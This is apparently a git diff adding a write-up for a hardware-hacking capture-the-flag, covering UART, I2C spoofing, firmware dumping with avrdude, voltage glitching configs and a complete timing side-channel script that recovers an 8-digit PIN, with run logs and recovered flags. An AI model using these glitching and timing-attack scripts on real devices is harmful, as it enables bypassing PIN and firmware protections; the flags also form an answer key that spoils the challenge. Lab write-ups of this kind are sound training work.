+ functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}")
+ functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}")
+
+ return code_sequence, translated_sequence
+
+def stop_glitch():
+ functions.set_uart_switch(False)
\ No newline at end of file
diff --git a/docs/10_setup.png b/docs/10_setup.png
new file mode 100644
index 0000000..008945c
--- /dev/null
+++ b/docs/10_setup.png
Binary files differ
diff --git a/docs/11_GoB.png b/docs/11_GoB.png
new file mode 100644
index 0000000..07f38ae
--- /dev/null
+++ b/docs/11_GoB.png
Binary files differ
diff --git a/docs/11_GoB_config.py b/docs/11_GoB_config.py
new file mode 100644
index 0000000..f7e8036
--- /dev/null
+++ b/docs/11_GoB_config.py
@@ -0,0 +1,123 @@
+import functions
+import threading
+import time
+
+###### Config values ######
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 1000000
+UART_NEWLINE = "\n"
+
+LENGTH = 12
+REPEAT = 1
+DELAY = 0
+
+### name, enabled, string to match ###
+conditions = [
+ ['run', True, 'Password:', 'try_glitch'],
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+###### Custom functions ######
+def try_glitch():
+ Len = functions.get_config_value("length")
+ Rep = functions.get_config_value("repeat")
+ Del = functions.get_config_value("delay")
+ time.sleep(0.2)
+
+ tx_thread = threading.Thread(
+ target=functions.send_uart_message,
+ args=("aaaaaaaaaaaaaaaaaaaaa",),
+ daemon=True
+ )
+
+ glitch_thread = threading.Thread(
+ target=functions.start_glitch,
+ args=(Len, Rep, Del),
+ daemon=True
+ )
+
+ glitch_thread.start()
+ tx_thread.start()
+
+ try:
+ current_delay = int(Del)
+ except (ValueError, TypeError):
+ current_delay = 0
+
+ try:
+ current_repeat = int(Rep)
+ except (ValueError, TypeError):
+ current_repeat = 0
+
+ new_delay = current_delay + 1
+
+ if new_delay >= 51:
+ new_delay = 0
+ new_repeat = current_repeat + 1
+ if new_repeat >= 20:
+ new_repeat = 1
+ functions.set_config_value("repeat", new_repeat)
+
+ functions.set_config_value("delay", new_delay)
+
+
+def stop_glitch():
+ buf = functions.read_uart_buffer()
+
+ if "TS{D@mn_y0u_@r3_g006}" in buf:
+ functions.start_glitch(16, 1, 0)
+ else:
+ functions.set_condition_value(0, False)
+ functions.set_uart_switch(False)
+
+
+###### Inactivity watchdog ######
+def config_inactivity_monitor(timeout=5):
+ """
+ Monitor 'delay' and 'repeat' configuration values.
+ Restart device if they do not change for 'timeout' seconds
+ AND condition 0 remains True.
+ """
+ # Wait for functions.config to be initialised
+ while True:
+ try:
+ _ = functions.get_config_value("delay")
+ break
+ except AttributeError:
+ print("[Watchdog] Waiting for configuration to initialise...")
+ time.sleep(1)
+
+ last_delay = functions.get_config_value("delay")
+ last_repeat = functions.get_config_value("repeat")
+ last_change_time = time.time()
+
+ while True:
+ try:
+ current_delay = functions.get_config_value("delay")
+ current_repeat = functions.get_config_value("repeat")
+ condition_active = functions.get_condition_value(0)
+
+ if str(current_delay) != str(last_delay) or str(current_repeat) != str(last_repeat):
+ last_change_time = time.time()
+ last_delay = current_delay
+ last_repeat = current_repeat
+
+ if condition_active and (time.time() - last_change_time > timeout):
+ print("[Watchdog] Inactivity detected. Restarting glitch...")
+ functions.start_glitch(16, 1, 0)
+ last_change_time = time.time()
+
+ except Exception as e:
+ print(f"[Watchdog Error] {e}")
+
+ time.sleep(1)
+
+
+# Start watchdog thread after slight delay to allow initialisation
+def start_watchdog():
+ time.sleep(2) # ensures 'functions.config' is ready
+ monitor_thread = threading.Thread(target=config_inactivity_monitor, daemon=True)
+ monitor_thread.start()
+
+
+threading.Thread(target=start_watchdog, daemon=True).start()
diff --git a/docs/11_glitch_wrong_flag.png b/docs/11_glitch_wrong_flag.png
new file mode 100644
index 0000000..8d57b59
--- /dev/null
+++ b/docs/11_glitch_wrong_flag.png
Binary files differ
diff --git a/docs/11_logic.png b/docs/11_logic.png
new file mode 100644
index 0000000..c7de52c
--- /dev/null
+++ b/docs/11_logic.png
Binary files differ
diff --git a/docs/11_setup.png b/docs/11_setup.png
new file mode 100644
index 0000000..e5a7396
--- /dev/null
+++ b/docs/11_setup.png
Binary files differ
diff --git a/docs/12_discovery.png b/docs/12_discovery.png
new file mode 100644
index 0000000..06b2737
--- /dev/null
+++ b/docs/12_discovery.png
Binary files differ
diff --git a/docs/12_logic.png b/docs/12_logic.png
new file mode 100644
index 0000000..fe8662a
--- /dev/null
+++ b/docs/12_logic.png
Binary files differ
diff --git a/docs/12_setup.png b/docs/12_setup.png
new file mode 100644
index 0000000..5293caf
--- /dev/null
+++ b/docs/12_setup.png
Binary files differ
diff --git a/docs/12_solution.py b/docs/12_solution.py
new file mode 100644
index 0000000..c5188aa
--- /dev/null
+++ b/docs/12_solution.py
@@ -0,0 +1,274 @@
+#!/usr/bin/env python3
+"""
+=====================================================================
+UART Timing Analysis PIN Discovery Script (configurable start)
+=====================================================================
+Performs timing-based side-channel analysis to discover an 8-digit PIN
+via UART, using the Arduino I/O controller for synchronised monitoring.
+
+This variant allows pre-setting a starting code (prefix) and the
+starting position index so that discovery may resume part-way through.
+Version: 1.3
+=====================================================================
+"""
+
+import time
+import serial
+from arduinIO import ArduinoController
+
+# ================================================================
+# Configuration
+# ================================================================
+
+###### UART Configuration ######
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 1199
+UART_NEWLINE = "\n"
+
+###### Arduino I/O Configuration ######
+ARDIO_PORT = "/dev/ttyACM0"
+ARDIO_BAUDRATE = 115200
+ARDIO_INPUT_PIN = 2
+
+###### Analysis Parameters ######
+PIN_LENGTH = 8
+KEYSPACE = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
+PAD_CHAR = 'A'
+ATTEMPTS_PER_CANDIDATE = 1
+
+# Optionally set a starting prefix and a starting position.
+# START_CODE is the known prefix (string). It may be empty.
+# START_POS is the zero-based index at which to begin discovery.
+# Example: START_CODE = "253", START_POS = 3 will begin at position 4.
+START_CODE = "" # e.g. "253"
+START_POS = 0 # zero-based index (0..PIN_LENGTH-1). Must equal len(START_CODE).
+
+###### Delay Configuration (seconds) ######
+INTER_ATTEMPT_DELAY = 1.5 # Delay between attempts of same candidate
+SEND_SETTLE_DELAY = 0.5 # Delay after sending message before reading input
+POSITION_SETTLE_DELAY = 0.05 # Delay after finishing one position
+MAX_WAIT_MS = 800 # Maximum wait for input response
+MAX_UPPER_BOUND_MS = 1000 # initial upper bound for valid durations (ms)
+
+# ================================================================
+# Helper Functions
+# ================================================================
+
+def log(msg: str, level: str = "INFO"):
+ """Structured log output with level labels."""
+ prefix = {
+ "INFO": "\033[94m[INFO]\033[0m",
+ "TEST": "\033[93m[TEST]\033[0m",
+ "ATTEMPT": "\033[90m[ATTEMPT]\033[0m",
+ "RESULT": "\033[92m[RESULT]\033[0m",
+ "ERROR": "\033[91m[ERROR]\033[0m",
+ "SUCCESS": "\033[96m[SUCCESS]\033[0m"
+ }.get(level, "[LOG]")
+ print(f"{prefix} {msg}")
+
+
+def send_uart_message(ser, message: str):
+ """Send full message to UART target."""
+ if not message.endswith(UART_NEWLINE):
+ message += UART_NEWLINE
+ ser.write(message.encode("utf-8"))
+ ser.flush()
+
+
+def validate_start_settings():
+ """Validate START_CODE and START_POS consistency and bounds."""
+ if not isinstance(START_CODE, str):
+ raise ValueError("START_CODE must be a string.")
+ if not isinstance(START_POS, int):
+ raise ValueError("START_POS must be an integer.")
+ if len(START_CODE) != START_POS:
+ raise ValueError("Length of START_CODE must equal START_POS.")
+ if START_POS < 0 or START_POS > PIN_LENGTH:
+ raise ValueError("START_POS out of valid range.")
+ if len(START_CODE) > PIN_LENGTH:
+ raise ValueError("START_CODE longer than PIN_LENGTH.")
+
+
+# ================================================================
+# PIN Discovery Logic
+# ================================================================
+
+def find_code(ser, arduino):
+ """
+ Discover the PIN by measuring time from send until LED (ARDIO_INPUT_PIN) goes LOW.
+
+ Important: no UART reading occurs during the timed interval. UART is only
+ drained before sending (to remove stale lines) and immediately after the
+ timing measurement completes. This avoids introducing extra delay into
+ the critical timing path.
+ """
+
+ validate_start_settings()
+ log("Starting PIN discovery (timing with no mid-send UART checks)", "INFO")
+
+ discovered = START_CODE
+ start_pos = START_POS
+
+ remaining_positions = PIN_LENGTH - start_pos
+ if remaining_positions <= 0:
+ log(f"No positions to discover. Current code: {discovered}", "INFO")
+ return discovered
+
+ total_candidates = len(KEYSPACE)
+ total_attempts = remaining_positions * total_candidates * ATTEMPTS_PER_CANDIDATE
+ eta_start = time.time()
+ attempts_done = 0
+
+ for pos in range(start_pos, PIN_LENGTH):
+ human_pos = pos + 1
+ log(f"Analysing position {human_pos}/{PIN_LENGTH}", "INFO")
+ timings = {}
+
+ # Upper bound grows with each identified position (relative index)
+ relative_index = pos - start_pos
+ upper_bound = MAX_UPPER_BOUND_MS + relative_index * 20
+
+ for idx, candidate in enumerate(KEYSPACE):
+ candidate_pin = discovered + candidate + (PAD_CHAR * (PIN_LENGTH - len(discovered) - 1))
+ durations = []
+
+ for attempt in range(ATTEMPTS_PER_CANDIDATE):
+ # Best-effort non-blocking drain of stale UART lines BEFORE sending
+ try:
+ while ser.in_waiting:
+ _ = ser.readline() # discard
+ except Exception:
+ pass
+
+ # Clear any previous short event records on Arduino
+ try:
+ arduino.watch_pin(ARDIO_INPUT_PIN, duration_ms=1)
+ except Exception:
+ pass
+
+ # Start timing immediately before send (critical interval begins)
+ t_start = time.time()
+ send_uart_message(ser, candidate_pin + UART_NEWLINE)
+
+ # short settle after send (does not affect measurement start)
+ time.sleep(SEND_SETTLE_DELAY)
+
+ # Perform event-based capture (no UART reads here)
+ dur_ms = 0
+ try:
+ events = arduino.watch_pin(ARDIO_INPUT_PIN, duration_ms=MAX_WAIT_MS)
+ except Exception:
+ events = []
+
+ if events:
+ low_event = next((ev for ev in events if ev.get("state") == "LOW"), None)
+ if low_event:
+ dur_ms = low_event.get("duration_ms", 0)
+
+ # Fallback blocking wait_if_no_event (still no UART reads)
+ if dur_ms == 0:
+ try:
+ result = arduino.wait_for(ARDIO_INPUT_PIN, "LOW")
+ t_end = time.time()
+ if isinstance(result, dict):
+ dur_ms = result.get("duration_ms", int((t_end - t_start) * 1000))
+ else:
+ dur_ms = int((t_end - t_start) * 1000)
+ except Exception:
+ dur_ms = 0
+
+ # Immediately after measurement, drain UART non-blocking and check for success
+ try:
+ while ser.in_waiting:
+ line = ser.readline().decode(errors='ignore').strip()
+ if line and line.startswith("TS{"):
+ # Found success; append this candidate and return the discovered code
+ discovered += candidate
+ log(f"Device accepted code via UART: {line} -> {discovered}", "SUCCESS")
+ return discovered
+ except Exception:
+ # ignore serial read errors and continue
+ pass
+
+ # Only include durations that lie within the allowed window
+ if 600 <= dur_ms <= upper_bound:
+ durations.append(dur_ms)
+
+ # Update ETA (safe to compute outside critical interval)
+ attempts_done += 1
+ elapsed = time.time() - eta_start
+ avg_time_per_attempt = (elapsed / attempts_done) if attempts_done else 0.0
+ remaining_attempts = total_attempts - attempts_done
+ eta_remaining = remaining_attempts * avg_time_per_attempt
+ eta_min, eta_sec = divmod(int(eta_remaining), 60)
+
+ # Overwrite attempt line
+ print(f"\r\033[90m[ATTEMPT]\033[0m {candidate} attempt {attempt + 1}/{ATTEMPTS_PER_CANDIDATE} → {dur_ms} ms | ETA: {eta_min}m {eta_sec}s", end='', flush=True)
+
+ time.sleep(INTER_ATTEMPT_DELAY)
+
+ # newline after candidate block
+ #print()
+
+ # Compute average using only valid durations
+ avg_duration = (sum(durations) / len(durations)) if durations else 0.0
+ timings[candidate] = avg_duration
+ print(f"\r\033[92m[RESULT]\033[0m Candidate '{candidate}' average LOW-delay: {avg_duration:.2f} ms", end='', flush=True)
+ print()
+
+ # Select best candidate (largest average); fallback to '0' if none valid
+ if any(v > 0 for v in timings.values()):
+ selected = max(timings, key=timings.get)
+ else:
+ selected = '0'
+
+ discovered += selected
+ log(f"Position {human_pos} selected: '{selected}' (avg {timings.get(selected, 0.0):.2f} ms)", "INFO")
+
+ # Progress display
+ print(f"\n ┌───────────────────────────────┐")
+ print(f" │ Progress: {discovered:<8} │")
+ print(f" └───────────────────────────────┘\n")
+
+ # Optional settle between positions; keep minimal if timing-sensitive
+ if POSITION_SETTLE_DELAY:
+ time.sleep(POSITION_SETTLE_DELAY)
+
+ log(f"[SUCCESS] PIN discovery complete → {discovered}", "SUCCESS")
+ return discovered
+
+
+
+# ================================================================
+# Main Execution
+# ================================================================
+
+def main():
+ log("Initialising Arduino controller...", "INFO")
+ arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE)
+ arduino.connect()
+ version = arduino.get_version()
+ log(f"Connected to Arduino firmware {version}", "INFO")
+
+ arduino.set_mode(ARDIO_INPUT_PIN, "INPUT")
+ log(f"Configured Arduino input pin {ARDIO_INPUT_PIN}", "INFO")
+
+ log(f"Connecting to UART target on {SERIAL_PORT} at {BAUD_RATE} baud...", "INFO")
+ ser = serial.Serial(SERIAL_PORT, BAUD_RATE, timeout=1)
+ log("UART connection established", "INFO")
+
+ try:
+ pin = find_code(ser, arduino)
+ log(f"Discovered PIN: {pin}", "SUCCESS")
+ except KeyboardInterrupt:
+ log("Process interrupted by user", "ERROR")
+ except Exception as e:
+ log(f"Unexpected error: {e}", "ERROR")
+ finally:
+ ser.close()
+ arduino.disconnect()
+ log("Connections closed", "INFO")
+
+
+if __name__ == "__main__":
+ main()
diff --git a/docs/12_solution.txt b/docs/12_solution.txt
new file mode 100644
index 0000000..00f88f5
--- /dev/null
+++ b/docs/12_solution.txt
@@ -0,0 +1,134 @@
+$> python3 12_solution.py
+[INFO] Initialising Arduino controller...
+[INFO] Connected to Arduino firmware VERSION:1.3.0
+[INFO] Configured Arduino input pin 2
+[INFO] Connecting to UART target on /dev/ttyUSB0 at 1199 baud...
+[INFO] UART connection established
+[INFO] Starting PIN discovery (timing with no mid-send UART checks)
+[INFO] Analysing position 1/8
+[RESULT] Candidate '0' average LOW-delay: 0.00 ms
+[RESULT] Candidate '1' average LOW-delay: 959.00 ms
+[RESULT] Candidate '2' average LOW-delay: 972.00 ms
+[RESULT] Candidate '3' average LOW-delay: 959.00 ms
+[RESULT] Candidate '4' average LOW-delay: 962.00 ms
+[RESULT] Candidate '5' average LOW-delay: 962.00 ms
+[RESULT] Candidate '6' average LOW-delay: 962.00 ms
+[RESULT] Candidate '7' average LOW-delay: 959.00 ms
+[RESULT] Candidate '8' average LOW-delay: 961.00 ms
+[RESULT] Candidate '9' average LOW-delay: 963.00 ms
+[INFO] Position 1 selected: '2' (avg 972.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 2/8
+[RESULT] Candidate '0' average LOW-delay: 0.00 ms
+[RESULT] Candidate '1' average LOW-delay: 969.00 ms
+[RESULT] Candidate '2' average LOW-delay: 973.00 ms
+[RESULT] Candidate '3' average LOW-delay: 972.00 ms
+[RESULT] Candidate '4' average LOW-delay: 971.00 ms
+[RESULT] Candidate '5' average LOW-delay: 980.00 ms
+[RESULT] Candidate '6' average LOW-delay: 971.00 ms
+[RESULT] Candidate '7' average LOW-delay: 970.00 ms
+[RESULT] Candidate '8' average LOW-delay: 973.00 ms
+[RESULT] Candidate '9' average LOW-delay: 971.00 ms
+[INFO] Position 2 selected: '5' (avg 980.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 25 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 3/8
+[RESULT] Candidate '0' average LOW-delay: 0.00 ms
+[RESULT] Candidate '1' average LOW-delay: 980.00 ms
+[RESULT] Candidate '2' average LOW-delay: 981.00 ms
+[RESULT] Candidate '3' average LOW-delay: 989.00 ms
+[RESULT] Candidate '4' average LOW-delay: 981.00 ms
+[RESULT] Candidate '5' average LOW-delay: 982.00 ms
+[RESULT] Candidate '6' average LOW-delay: 981.00 ms
+[RESULT] Candidate '7' average LOW-delay: 980.00 ms
+[RESULT] Candidate '8' average LOW-delay: 979.00 ms
+[RESULT] Candidate '9' average LOW-delay: 982.00 ms
+[INFO] Position 3 selected: '3' (avg 989.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 253 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 4/8
+[RESULT] Candidate '0' average LOW-delay: 990.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1002.00 ms
+[RESULT] Candidate '2' average LOW-delay: 990.00 ms
+[RESULT] Candidate '3' average LOW-delay: 992.00 ms
+[RESULT] Candidate '4' average LOW-delay: 991.00 ms
+[RESULT] Candidate '5' average LOW-delay: 991.00 ms
+[RESULT] Candidate '6' average LOW-delay: 990.00 ms
+[RESULT] Candidate '7' average LOW-delay: 992.00 ms
+[RESULT] Candidate '8' average LOW-delay: 991.00 ms
+[RESULT] Candidate '9' average LOW-delay: 991.00 ms
+[INFO] Position 4 selected: '1' (avg 1002.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2531 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 5/8
+[RESULT] Candidate '0' average LOW-delay: 1000.00 ms
+[RESULT] Candidate '1' average LOW-delay: 999.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1000.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1002.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1000.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1001.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1002.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1003.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1001.00 ms
+[INFO] Position 5 selected: '5' (avg 1011.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 25315 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 6/8
+[RESULT] Candidate '0' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1010.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1009.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1013.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1010.00 ms
+[INFO] Position 6 selected: '2' (avg 1021.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 253152 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 7/8
+[RESULT] Candidate '0' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '3' average LOW-delay: 0.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1019.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1023.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1032.00 ms
+[INFO] Position 7 selected: '9' (avg 1032.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2531529 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 8/8
+[RESULT] Candidate '0' average LOW-delay: 1031.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1030.00 ms
+[SUCCESS] Device accepted code via UART: TS{D0n7_M355_w17h_t1m3} -> 25315294
+[SUCCESS] Discovered PIN: 25315294
+[INFO] Connections closed
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/06.md b/06.md
new file mode 100644
index 0000000..a55dd6c
--- /dev/null
+++ b/06.md
@@ -0,0 +1,76 @@
+# **Challenge 6: "Hard Leak"**
+
